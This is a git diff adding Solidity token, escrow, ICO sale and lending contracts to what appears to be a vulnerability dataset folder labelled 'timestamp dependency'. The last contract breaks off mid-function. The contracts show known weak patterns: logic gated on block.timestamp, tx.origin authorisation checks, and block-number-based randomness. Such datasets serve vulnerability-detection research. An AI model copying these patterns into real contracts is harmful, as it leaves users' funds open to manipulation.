+ if (msg.sender != addressSCICO) { + error('Escrow: not allowed to deposit'); + return false; + } + deposited[this] = deposited[this].add(_amount); + return true; + } + + + function withdraw(address _address, uint256 _amount) public onlyOwner returns (bool) { + if (deposited[_address]<_amount) { + error('Escrow: not enough balance'); + return false; + } + deposited[_address] = deposited[_address].sub(_amount); + return SCTokens.transfer(_address, _amount); + } + + + function fundICO(uint256 _amount, uint8 _stage) public returns (bool) { + if(nextStage !=_stage) { + error('Escrow: ICO stage already funded'); + return false; + } + + if (msg.sender != addressSCICO || tx.origin != owner) { + error('Escrow: not allowed to fund the ICO'); + return false; + } + if (deposited[this]<_amount) { + error('Escrow: not enough balance'); + return false; + } + bool success = SCTokens.transfer(addressSCICO, _amount); + if(success) { + deposited[this] = deposited[this].sub(_amount); + nextStage++; + emit FundICO(addressSCICO, _amount); + } + return success; + } + + + function setMyICOContract(address _SCICO) public onlyOwner { + addressSCICO = _SCICO; + } + + + function setTokensContract(address _addressSCTokens) public onlyOwner { + addressSCTokens = _addressSCTokens; + SCTokens = Tokens(_addressSCTokens); + } + + + function balanceOf(address _address) public constant returns (uint256 balance) { + return deposited[_address]; + } + + + + + + event FundICO(address indexed _addressICO, uint256 _amount); + + +} + +contract ComplianceService { + function validate(address _from, address _to, uint256 _amount) public returns (bool allowed) { + return true; + } +} + + + + +contract Tokens is HardcodedWallets, ERC20, Haltable { + + + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + uint256 public _totalSupply; + + + string public name; + string public symbol; + uint8 public decimals; + string public standard = 'H0.1'; + + + uint256 public timelockEndTime; + + + address public addressSCICO; + + + address public addressSCEscrow; + + + address public addressSCComplianceService; + ComplianceService public SCComplianceService; + + + + + modifier notTimeLocked() { + if (now < timelockEndTime && msg.sender != addressSCICO && msg.sender != addressSCEscrow) { + error('notTimeLocked: Timelock still active. Function is yet unavailable.'); + } else { + _; + } + } + + + + + constructor(address _addressSCEscrow, address _addressSCComplianceService) public { + name = "TheRentalsToken"; + symbol = "TRT"; + decimals = 18; + + + _totalSupply = 1350000000 ether; + + timelockEndTime = timestamp().add(45 days); + + addressSCEscrow = _addressSCEscrow; + addressSCComplianceService = _addressSCComplianceService; + SCComplianceService = ComplianceService(addressSCComplianceService); + + + balances[_addressSCEscrow] = _totalSupply; + emit Transfer(0x0, _addressSCEscrow, _totalSupply); + + } + + + function totalSupply() public constant returns (uint) { + + return _totalSupply - balances[address(0)]; + + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + + + function transfer(address _to, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) { + if (balances[msg.sender] < _amount) { + error('transfer: the amount to transfer is higher than your token balance'); + return false; + } + + if(!SCComplianceService.validate(msg.sender, _to, _amount)) { + error('transfer: not allowed by the compliance service'); + return false; + } + + balances[msg.sender] = balances[msg.sender].sub(_amount); + balances[_to] = balances[_to].add(_amount); + emit Transfer(msg.sender, _to, _amount); + + return true; + } + + + function transferFrom(address _from, address _to, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) { + if (balances[_from] < _amount) { + error('transferFrom: the amount to transfer is higher than the token balance of the source'); + return false; + } + if (allowed[_from][msg.sender] < _amount) { + error('transferFrom: the amount to transfer is higher than the maximum token transfer allowed by the source'); + return false; + } + + if(!SCComplianceService.validate(_from, _to, _amount)) { + error('transfer: not allowed by the compliance service'); + return false; + } + + balances[_from] = balances[_from].sub(_amount); + balances[_to] = balances[_to].add(_amount); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); + emit Transfer(_from, _to, _amount); + + return true; + } + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + allowed[msg.sender][_spender] = _amount; + emit Approval(msg.sender, _spender, _amount); + + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function refundTokens(address _from, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) { + if (tx.origin != _from) { + error('refundTokens: tx.origin did not request the refund directly'); + return false; + } + + if (addressSCICO != msg.sender) { + error('refundTokens: caller is not the current ICO address'); + return false; + } + + if (balances[_from] < _amount) { + error('refundTokens: the amount to transfer is higher than your token balance'); + return false; + } + + if(!SCComplianceService.validate(_from, addressSCICO, _amount)) { + error('transfer: not allowed by the compliance service'); + return false; + } + + balances[_from] = balances[_from].sub(_amount); + balances[addressSCICO] = balances[addressSCICO].add(_amount); + emit Transfer(_from, addressSCICO, _amount); + + return true; + } + + + function setMyICOContract(address _SCICO) public onlyOwner { + addressSCICO = _SCICO; + } + + function setComplianceService(address _addressSCComplianceService) public onlyOwner { + addressSCComplianceService = _addressSCComplianceService; + SCComplianceService = ComplianceService(addressSCComplianceService); + } + + + function updateTimeLock(uint256 _timelockEndTime) onlyOwner public returns (bool) { + timelockEndTime = _timelockEndTime; + + emit UpdateTimeLock(_timelockEndTime); + + return true; + } + + + + + + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + + + event Approval(address indexed _owner, address indexed _spender, uint256 _amount); + + + event UpdateTimeLock(uint256 _timelockEndTime); +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10146.sol b/smart_contract_dataset/timestamp dependency/10146.sol new file mode 100644 index 0000000000000000000000000000000000000000..6d3e39af97b73799bc3fc592fb4a38ee43210ce2 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10146.sol @@ -0,0 +1,607 @@ +pragma solidity ^0.4.18; + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + +contract KOIOSToken is StandardToken, Ownable { + using SafeMath for uint256; + + string public name = "KOIOS"; + string public symbol = "KOI"; + uint256 public decimals = 5; + + uint256 public totalSupply = 1000000000 * (10 ** uint256(decimals)); + + + function KOIOSToken(string _name, string _symbol, uint256 _decimals, uint256 _totalSupply) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + totalSupply = _totalSupply; + + totalSupply_ = _totalSupply; + balances[msg.sender] = totalSupply; + } + + + function () public payable { + revert(); + } +} + + +contract KOIOSTokenSale is Ownable { + + using SafeMath for uint256; + + + KOIOSToken public token; + + + uint256 public startingTimestamp = 1518696000; + + + uint256 public endingTimestamp = 1521115200; + + + uint256 public tokenPriceInEth = 0.0001 ether; + + + uint256 public tokensForSale = 400000000 * 1E5; + + + uint256 public totalTokenSold; + + + uint256 public totalEtherRaised; + + + mapping(address => uint256) public etherRaisedPerWallet; + + + address public wallet; + + + bool internal isClose = false; + + + event WalletChange(address _wallet, uint256 _timestamp); + + + event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount, uint256 _timestamp); + + + event TransferManual(address indexed _from, address indexed _to, uint256 _value, string _message); + + + function KOIOSTokenSale(address _token, uint256 _startingTimestamp, uint256 _endingTimestamp, uint256 _tokensPerEth, uint256 _tokensForSale, address _wallet) public { + + token = KOIOSToken(_token); + + startingTimestamp = _startingTimestamp; + endingTimestamp = _endingTimestamp; + tokenPriceInEth = 1E18 / _tokensPerEth; + tokensForSale = _tokensForSale; + + + wallet = _wallet; + } + + + function isValidPurchase(uint256 value, uint256 amount) internal constant returns (bool) { + + bool validTimestamp = startingTimestamp <= block.timestamp && endingTimestamp >= block.timestamp; + + + bool validValue = value != 0; + + + bool validRate = tokenPriceInEth > 0; + + + bool validAmount = tokensForSale.sub(totalTokenSold) >= amount && amount > 0; + + + return validTimestamp && validValue && validRate && validAmount && !isClose; + } + + + + function calculate(uint256 value) public constant returns (uint256) { + uint256 tokenDecimals = token.decimals(); + uint256 tokens = value.mul(10 ** tokenDecimals).div(tokenPriceInEth); + return tokens; + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address beneficiary) public payable { + require(beneficiary != address(0)); + + + uint256 value = msg.value; + + + uint256 tokens = calculate(value); + + + require(isValidPurchase(value , tokens)); + + + totalTokenSold = totalTokenSold.add(tokens); + totalEtherRaised = totalEtherRaised.add(value); + etherRaisedPerWallet[msg.sender] = etherRaisedPerWallet[msg.sender].add(value); + + + token.transfer(beneficiary, tokens); + + + TokenPurchase(msg.sender, beneficiary, value, tokens, now); + } + + + function transferManual(address _to, uint256 _value, string _message) onlyOwner public returns (bool) { + require(_to != address(0)); + + + token.transfer(_to , _value); + TransferManual(msg.sender, _to, _value, _message); + return true; + } + + + function setWallet(address _wallet) onlyOwner public returns(bool) { + + wallet = _wallet; + WalletChange(_wallet , now); + return true; + } + + + function withdraw() onlyOwner public { + wallet.transfer(this.balance); + } + + + function close() onlyOwner public { + + uint256 tokens = token.balanceOf(this); + token.transfer(owner , tokens); + + + withdraw(); + + + isClose = true; + } +} + + + +contract KOIOSTokenPreSale is Ownable { + + using SafeMath for uint256; + + + KOIOSToken public token; + + + uint256 public startingTimestamp = 1527811200; + + + uint256 public endingTimestamp = 1528156799; + + + uint256 public tokenPriceInEth = 0.00005 ether; + + + uint256 public tokensForSale = 400000000 * 1E5; + + + uint256 public totalTokenSold; + + + uint256 public totalEtherRaised; + + + mapping(address => uint256) public etherRaisedPerWallet; + + + address public wallet; + + + bool internal isClose = false; + + + event WalletChange(address _wallet, uint256 _timestamp); + + + event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount, uint256 _timestamp); + + + event TransferManual(address indexed _from, address indexed _to, uint256 _value, string _message); + + + mapping(address => uint256) public lockupPhase1; + uint256 public phase1Duration = 90 * 86400; + + + mapping(address => uint256) public lockupPhase2; + uint256 public phase2Duration = 120 * 86400; + + + mapping(address => uint256) public lockupPhase3; + uint256 public phase3Duration = 150 * 86400; + + + mapping(address => uint256) public lockupPhase4; + uint256 public phase4Duration = 180 * 86400; + + uint256 public totalLockedBonus; + + + function KOIOSTokenPreSale(address _token, uint256 _startingTimestamp, uint256 _endingTimestamp, uint256 _tokensPerEth, uint256 _tokensForSale, address _wallet) public { + + token = KOIOSToken(_token); + + startingTimestamp = _startingTimestamp; + endingTimestamp = _endingTimestamp; + tokenPriceInEth = 1E18 / _tokensPerEth; + tokensForSale = _tokensForSale; + + + wallet = _wallet; + } + + + function isValidPurchase(uint256 value, uint256 amount) internal constant returns (bool) { + + bool validTimestamp = startingTimestamp <= block.timestamp && endingTimestamp >= block.timestamp; + + + bool validValue = value != 0; + + + bool validRate = tokenPriceInEth > 0; + + + bool validAmount = tokensForSale.sub(totalTokenSold) >= amount && amount > 0; + + + return validTimestamp && validValue && validRate && validAmount && !isClose; + } + + function getBonus(uint256 _value) internal pure returns (uint256) { + uint256 bonus = 0; + if(_value >= 1E18) { + bonus = _value.mul(50).div(1000); + }if(_value >= 5E18) { + bonus = _value.mul(75).div(1000); + }if(_value >= 10E18) { + bonus = _value.mul(100).div(1000); + }if(_value >= 20E18) { + bonus = _value.mul(150).div(1000); + }if(_value >= 30E18) { + bonus = _value.mul(200).div(1000); + } + return bonus; + } + + + + function calculate(uint256 value) public constant returns (uint256) { + uint256 tokenDecimals = token.decimals(); + + uint256 tokens = value.mul(10 ** tokenDecimals).div(tokenPriceInEth); + return tokens; + } + + function lockBonus(address _sender, uint bonusTokens) internal returns (bool) { + uint256 lockedBonus = bonusTokens.div(4); + + lockupPhase1[_sender] = lockupPhase1[_sender].add(lockedBonus); + lockupPhase2[_sender] = lockupPhase2[_sender].add(lockedBonus); + lockupPhase3[_sender] = lockupPhase3[_sender].add(lockedBonus); + lockupPhase4[_sender] = lockupPhase4[_sender].add(lockedBonus); + totalLockedBonus = totalLockedBonus.add(bonusTokens); + + return true; + } + + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address beneficiary) public payable { + require(beneficiary != address(0)); + + + uint256 _value = msg.value; + + + uint256 tokens = calculate(_value); + + + uint256 bonusTokens = calculate(getBonus(_value)); + + lockBonus(beneficiary, bonusTokens); + + uint256 _totalTokens = tokens.add(bonusTokens); + + + require(isValidPurchase(_value , _totalTokens)); + + + totalTokenSold = totalTokenSold.add(_totalTokens); + totalEtherRaised = totalEtherRaised.add(_value); + etherRaisedPerWallet[msg.sender] = etherRaisedPerWallet[msg.sender].add(_value); + + + token.transfer(beneficiary, tokens); + + + + TokenPurchase(msg.sender, beneficiary, _value, tokens, now); + } + + function isValidRelease(uint256 amount) internal constant returns (bool) { + + bool validAmount = amount > 0; + + + return validAmount; + } + + function releaseBonus() public { + uint256 releaseTokens = 0; + if(block.timestamp > (startingTimestamp.add(phase1Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase1[msg.sender]); + lockupPhase1[msg.sender] = 0; + } + if(block.timestamp > (startingTimestamp.add(phase2Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase2[msg.sender]); + lockupPhase2[msg.sender] = 0; + } + if(block.timestamp > (startingTimestamp.add(phase3Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase3[msg.sender]); + lockupPhase3[msg.sender] = 0; + } + if(block.timestamp > (startingTimestamp.add(phase4Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase4[msg.sender]); + lockupPhase4[msg.sender] = 0; + } + + + totalLockedBonus = totalLockedBonus.sub(releaseTokens); + token.transfer(msg.sender, releaseTokens); + } + + function releasableBonus(address _owner) public constant returns (uint256) { + uint256 releaseTokens = 0; + if(block.timestamp > (startingTimestamp.add(phase1Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase1[_owner]); + } + if(block.timestamp > (startingTimestamp.add(phase2Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase2[_owner]); + } + if(block.timestamp > (startingTimestamp.add(phase3Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase3[_owner]); + } + if(block.timestamp > (startingTimestamp.add(phase4Duration))) + { + releaseTokens = releaseTokens.add(lockupPhase4[_owner]); + } + return releaseTokens; + } + + + function transferManual(address _to, uint256 _value, string _message) onlyOwner public returns (bool) { + require(_to != address(0)); + + + token.transfer(_to , _value); + TransferManual(msg.sender, _to, _value, _message); + return true; + } + + + function setWallet(address _wallet) onlyOwner public returns(bool) { + + wallet = _wallet; + WalletChange(_wallet , now); + return true; + } + + + function withdraw() onlyOwner public { + wallet.transfer(this.balance); + } + + + function close() onlyOwner public { + + uint256 tokens = token.balanceOf(this).sub(totalLockedBonus); + token.transfer(owner , tokens); + + + withdraw(); + + + isClose = true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10159.sol b/smart_contract_dataset/timestamp dependency/10159.sol new file mode 100644 index 0000000000000000000000000000000000000000..b9bc6eab9b14c8d609472b1e42736e3edb827db5 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10159.sol @@ -0,0 +1,727 @@ +pragma solidity ^0.4.21; + +interface Token { + function totalSupply() constant external returns (uint256 ts); + function balanceOf(address _owner) constant external returns (uint256 balance); + function transfer(address _to, uint256 _value) external returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); + function approve(address _spender, uint256 _value) external returns (bool success); + function allowance(address _owner, address _spender) constant external returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + +interface XPAAssetToken { + function create(address user_, uint256 amount_) external returns(bool success); + function burn(uint256 amount_) external returns(bool success); + function burnFrom(address user_, uint256 amount_) external returns(bool success); + function getDefaultExchangeRate() external returns(uint256); + function getSymbol() external returns(bytes32); +} + +interface Baliv { + function getPrice(address fromToken_, address toToken_) external view returns(uint256); +} + +interface FundAccount { + function burn(address Token_, uint256 Amount_) external view returns(bool); +} + +interface TokenFactory { + function createToken(string symbol_, string name_, uint256 defaultExchangeRate_) external returns(address); + function getPrice(address token_) external view returns(uint256); + function getAssetLength() external view returns(uint256); + function getAssetToken(uint256 index_) external view returns(address); +} + +contract SafeMath { + function safeAdd(uint x, uint y) + internal + pure + returns(uint) { + uint256 z = x + y; + require((z >= x) && (z >= y)); + return z; + } + + function safeSub(uint x, uint y) + internal + pure + returns(uint) { + require(x >= y); + uint256 z = x - y; + return z; + } + + function safeMul(uint x, uint y) + internal + pure + returns(uint) { + uint z = x * y; + require((x == 0) || (z / x == y)); + return z; + } + + function safeDiv(uint x, uint y) + internal + pure + returns(uint) { + require(y > 0); + return x / y; + } + + function random(uint N, uint salt) + internal + view + returns(uint) { + bytes32 hash = keccak256(block.number, msg.sender, salt); + return uint(hash) % N; + } +} + +contract Authorization { + mapping(address => address) public agentBooks; + address public owner; + address public operator; + address public bank; + bool public powerStatus = true; + bool public forceOff = false; + function Authorization() + public + { + owner = msg.sender; + operator = msg.sender; + bank = msg.sender; + } + modifier onlyOwner + { + assert(msg.sender == owner); + _; + } + modifier onlyOperator + { + assert(msg.sender == operator || msg.sender == owner); + _; + } + modifier onlyActive + { + assert(powerStatus); + _; + } + function powerSwitch( + bool onOff_ + ) + public + onlyOperator + { + if(forceOff) { + powerStatus = false; + } else { + powerStatus = onOff_; + } + } + function transferOwnership(address newOwner_) + onlyOwner + public + { + owner = newOwner_; + } + + function assignOperator(address user_) + public + onlyOwner + { + operator = user_; + agentBooks[bank] = user_; + } + + function assignBank(address bank_) + public + onlyOwner + { + bank = bank_; + } + function assignAgent( + address agent_ + ) + public + { + agentBooks[msg.sender] = agent_; + } + function isRepresentor( + address representor_ + ) + public + view + returns(bool) { + return agentBooks[representor_] == msg.sender; + } + function getUser( + address representor_ + ) + internal + view + returns(address) { + return isRepresentor(representor_) ? representor_ : msg.sender; + } +} + +contract XPAAssets is SafeMath, Authorization { + string public version = "0.5.0"; + + + address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170; + address public oldXPAAssets = 0x00D0F7d665996B745b2399a127D5d84DAcd42D251f; + address public newXPAAssets = address(0); + address public tokenFactory = 0x001393F1fb2E243Ee68Efe172eBb6831772633A926; + + uint256 public maxForceOffsetAmount = 1000000 ether; + uint256 public minForceOffsetAmount = 10000 ether; + + + event eMortgage(address, uint256); + event eWithdraw(address, address, uint256); + event eRepayment(address, address, uint256); + event eOffset(address, address, uint256); + event eExecuteOffset(uint256, address, uint256); + event eMigrate(address); + event eMigrateAmount(address); + + + mapping(address => uint256) public fromAmountBooks; + mapping(address => mapping(address => uint256)) public toAmountBooks; + mapping(address => uint256) public forceOffsetBooks; + mapping(address => bool) public migrateBooks; + address[] public xpaAsset; + address public fundAccount; + uint256 public profit = 0; + mapping(address => uint256) public unPaidFundAccount; + uint256 public initCanOffsetTime = 0; + + + uint256 public withdrawFeeRate = 0.02 ether; + uint256 public offsetFeeRate = 0.02 ether; + uint256 public forceOffsetBasicFeeRate = 0.02 ether; + uint256 public forceOffsetExecuteFeeRate = 0.01 ether; + uint256 public forceOffsetExtraFeeRate = 0.05 ether; + uint256 public forceOffsetExecuteMaxFee = 1000 ether; + + + function XPAAssets( + uint256 initCanOffsetTime_, + address XPAAddr, + address factoryAddr, + address oldXPAAssetsAddr + ) public { + initCanOffsetTime = initCanOffsetTime_; + XPA = XPAAddr; + tokenFactory = factoryAddr; + oldXPAAssets = oldXPAAssetsAddr; + } + + function setFundAccount( + address fundAccount_ + ) + public + onlyOperator + { + if(fundAccount_ != address(0)) { + fundAccount = fundAccount_; + } + } + + function createToken( + string symbol_, + string name_, + uint256 defaultExchangeRate_ + ) + public + onlyOperator + { + address newAsset = TokenFactory(tokenFactory).createToken(symbol_, name_, defaultExchangeRate_); + for(uint256 i = 0; i < xpaAsset.length; i++) { + if(xpaAsset[i] == newAsset){ + return; + } + } + xpaAsset.push(newAsset); + } + + + function mortgage( + address representor_ + ) + onlyActive + public + { + address user = getUser(representor_); + uint256 amount_ = Token(XPA).allowance(msg.sender, this); + if( + amount_ >= 100 ether && + Token(XPA).transferFrom(msg.sender, this, amount_) + ){ + fromAmountBooks[user] = safeAdd(fromAmountBooks[user], amount_); + emit eMortgage(user,amount_); + } + } + + + function withdraw( + address token_, + uint256 amount_, + address representor_ + ) + onlyActive + public + { + address user = getUser(representor_); + if( + token_ != XPA && + amount_ > 0 && + amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether) + ){ + toAmountBooks[user][token_] = safeAdd(toAmountBooks[user][token_],amount_); + uint256 withdrawFee = safeDiv(safeMul(amount_,withdrawFeeRate),1 ether); + XPAAssetToken(token_).create(user, safeSub(amount_, withdrawFee)); + XPAAssetToken(token_).create(this, withdrawFee); + emit eWithdraw(user, token_, amount_); + } + } + + + function withdrawXPA( + uint256 amount_, + address representor_ + ) + onlyActive + public + { + address user = getUser(representor_); + if( + amount_ >= 100 ether && + amount_ <= getUsableXPA(user) + ){ + fromAmountBooks[user] = safeSub(fromAmountBooks[user], amount_); + require(Token(XPA).transfer(user, amount_)); + emit eWithdraw(user, XPA, amount_); + } + } + + + + + + function repayment( + address token_, + uint256 amount_, + address representor_ + ) + onlyActive + public + { + address user = getUser(representor_); + if( + XPAAssetToken(token_).burnFrom(user, amount_) + ) { + toAmountBooks[user][token_] = safeSub(toAmountBooks[user][token_],amount_); + emit eRepayment(user, token_, amount_); + } + } + + + function offset( + address user_, + address token_ + ) + onlyActive + public + { + uint256 userFromAmount = fromAmountBooks[user_] >= maxForceOffsetAmount ? maxForceOffsetAmount : fromAmountBooks[user_]; + require(block.timestamp > initCanOffsetTime); + require(userFromAmount > 0); + address user = getUser(user_); + + if( + user_ == user && + getLoanAmount(user, token_) > 0 + ){ + emit eOffset(user, user_, userFromAmount); + uint256 remainingXPA = executeOffset(user_, userFromAmount, token_, offsetFeeRate); + if(remainingXPA > 0){ + require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), 1 ether), safeAdd(1 ether, offsetFeeRate)))); + } else { + require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), safeSub(1 ether, offsetFeeRate)), 1 ether))); + } + + fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(userFromAmount, remainingXPA)); + }else if( + user_ != user && + block.timestamp > (forceOffsetBooks[user_] + 28800) && + getMortgageRate(user_) >= getClosingLine() + ){ + forceOffsetBooks[user_] = block.timestamp; + + uint256 punishXPA = getPunishXPA(user_); + emit eOffset(user, user_, punishXPA); + + uint256[3] memory forceOffsetFee; + forceOffsetFee[0] = safeDiv(safeMul(punishXPA, forceOffsetBasicFeeRate), 1 ether); + forceOffsetFee[1] = safeDiv(safeMul(punishXPA, forceOffsetExtraFeeRate), 1 ether); + forceOffsetFee[2] = safeDiv(safeMul(punishXPA, forceOffsetExecuteFeeRate), 1 ether); + forceOffsetFee[2] = forceOffsetFee[2] > forceOffsetExecuteMaxFee ? forceOffsetExecuteMaxFee : forceOffsetFee[2]; + + profit = safeAdd(profit, forceOffsetFee[0]); + uint256 allFee = safeAdd(forceOffsetFee[2],safeAdd(forceOffsetFee[0], forceOffsetFee[1])); + remainingXPA = safeSub(punishXPA,allFee); + + for(uint256 i = 0; i < xpaAsset.length; i++) { + if(getLoanAmount(user_, xpaAsset[i]) > 0){ + remainingXPA = executeOffset(user_, remainingXPA, xpaAsset[i],0); + if(remainingXPA == 0){ + break; + } + } + } + + fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(punishXPA, remainingXPA)); + require(Token(XPA).transfer(fundAccount, safeAdd(forceOffsetFee[1],safeSub(safeSub(punishXPA, allFee), remainingXPA)))); + require(Token(XPA).transfer(msg.sender, forceOffsetFee[2])); + } + } + + function executeOffset( + address user_, + uint256 xpaAmount_, + address xpaAssetToken, + uint256 feeRate + ) + internal + returns(uint256){ + uint256 fromXPAAsset = safeDiv(safeMul(xpaAmount_,getPrice(xpaAssetToken)),1 ether); + uint256 userToAmount = toAmountBooks[user_][xpaAssetToken]; + uint256 fee = safeDiv(safeMul(userToAmount, feeRate), 1 ether); + uint256 burnXPA; + uint256 burnXPAAsset; + if(fromXPAAsset >= safeAdd(userToAmount, fee)){ + burnXPA = safeDiv(safeMul(safeAdd(userToAmount, fee), 1 ether), getPrice(xpaAssetToken)); + emit eExecuteOffset(burnXPA, xpaAssetToken, safeAdd(userToAmount, fee)); + xpaAmount_ = safeSub(xpaAmount_, burnXPA); + toAmountBooks[user_][xpaAssetToken] = 0; + profit = safeAdd(profit, safeDiv(safeMul(fee,1 ether), getPrice(xpaAssetToken))); + if( + !FundAccount(fundAccount).burn(xpaAssetToken, userToAmount) + ){ + unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken],userToAmount); + } + + }else{ + + fee = safeDiv(safeMul(xpaAmount_, feeRate), 1 ether); + profit = safeAdd(profit, fee); + burnXPAAsset = safeDiv(safeMul(safeSub(xpaAmount_, fee),getPrice(xpaAssetToken)),1 ether); + toAmountBooks[user_][xpaAssetToken] = safeSub(userToAmount, burnXPAAsset); + emit eExecuteOffset(xpaAmount_, xpaAssetToken, burnXPAAsset); + + xpaAmount_ = 0; + if( + !FundAccount(fundAccount).burn(xpaAssetToken, burnXPAAsset) + ){ + unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken], burnXPAAsset); + } + + } + return xpaAmount_; + } + + function getPunishXPA( + address user_ + ) + internal + view + returns(uint256){ + uint256 userFromAmount = fromAmountBooks[user_]; + uint256 punishXPA = safeDiv(safeMul(userFromAmount, 0.1 ether),1 ether); + if(userFromAmount <= safeAdd(minForceOffsetAmount, 100 ether)){ + return userFromAmount; + }else if(punishXPA < minForceOffsetAmount){ + return minForceOffsetAmount; + }else if(punishXPA > maxForceOffsetAmount){ + return maxForceOffsetAmount; + }else{ + return punishXPA; + } + } + + + function getMortgageRate( + address user_ + ) + public + view + returns(uint256){ + if(fromAmountBooks[user_] != 0){ + uint256 totalLoanXPA = 0; + for(uint256 i = 0; i < xpaAsset.length; i++) { + totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i]))); + } + return safeDiv(safeMul(totalLoanXPA,1 ether),fromAmountBooks[user_]); + }else{ + return 0; + } + } + + + function getHighestMortgageRate() + public + view + returns(uint256){ + uint256 totalXPA = Token(XPA).totalSupply(); + uint256 issueRate = safeDiv(safeMul(Token(XPA).balanceOf(this), 1 ether), totalXPA); + if(issueRate >= 0.7 ether){ + return 0.7 ether; + }else if(issueRate >= 0.6 ether){ + return 0.6 ether; + 